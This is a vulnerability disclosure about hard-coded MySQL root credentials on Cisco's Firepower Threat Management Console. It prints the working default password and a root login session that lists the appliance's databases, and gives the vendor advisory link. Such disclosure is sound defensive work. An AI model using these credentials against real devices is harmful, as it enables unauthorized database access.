Cisco Firepower Threat Management Console Hard-coded MySQL Credentials

Vulnerability Description

The root account for the local MySQL database has poor password complexity.

Technical Description

root@firepower:/Volume/6.0.1# mysql -u root --password=admin
Warning: Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 23348
Server version: 5.6.24-enterprise-commercial-advanced-log MySQL Enterprise Server - Advanced Edition (Commercial)

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Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| Sourcefire         |
| external_data      |
| external_schema    |
| mysql              |
| performance_schema |
| sfsnort            |
+--------------------+
7 rows in set (0.00 sec)

mysql>

Note that mysqld listens only on loopback, so a remote attacker would have to leverage some other condition to be able to reach the mysql daemon.

Mitigation and Remediation Recommendation

The vendor has acknowledged this vulnerability but has not released a fix for the issue. Vendor acknowledgement available at: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20161005-ftmc1

Credit

This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc.

Proof of Concept

See Technical Description

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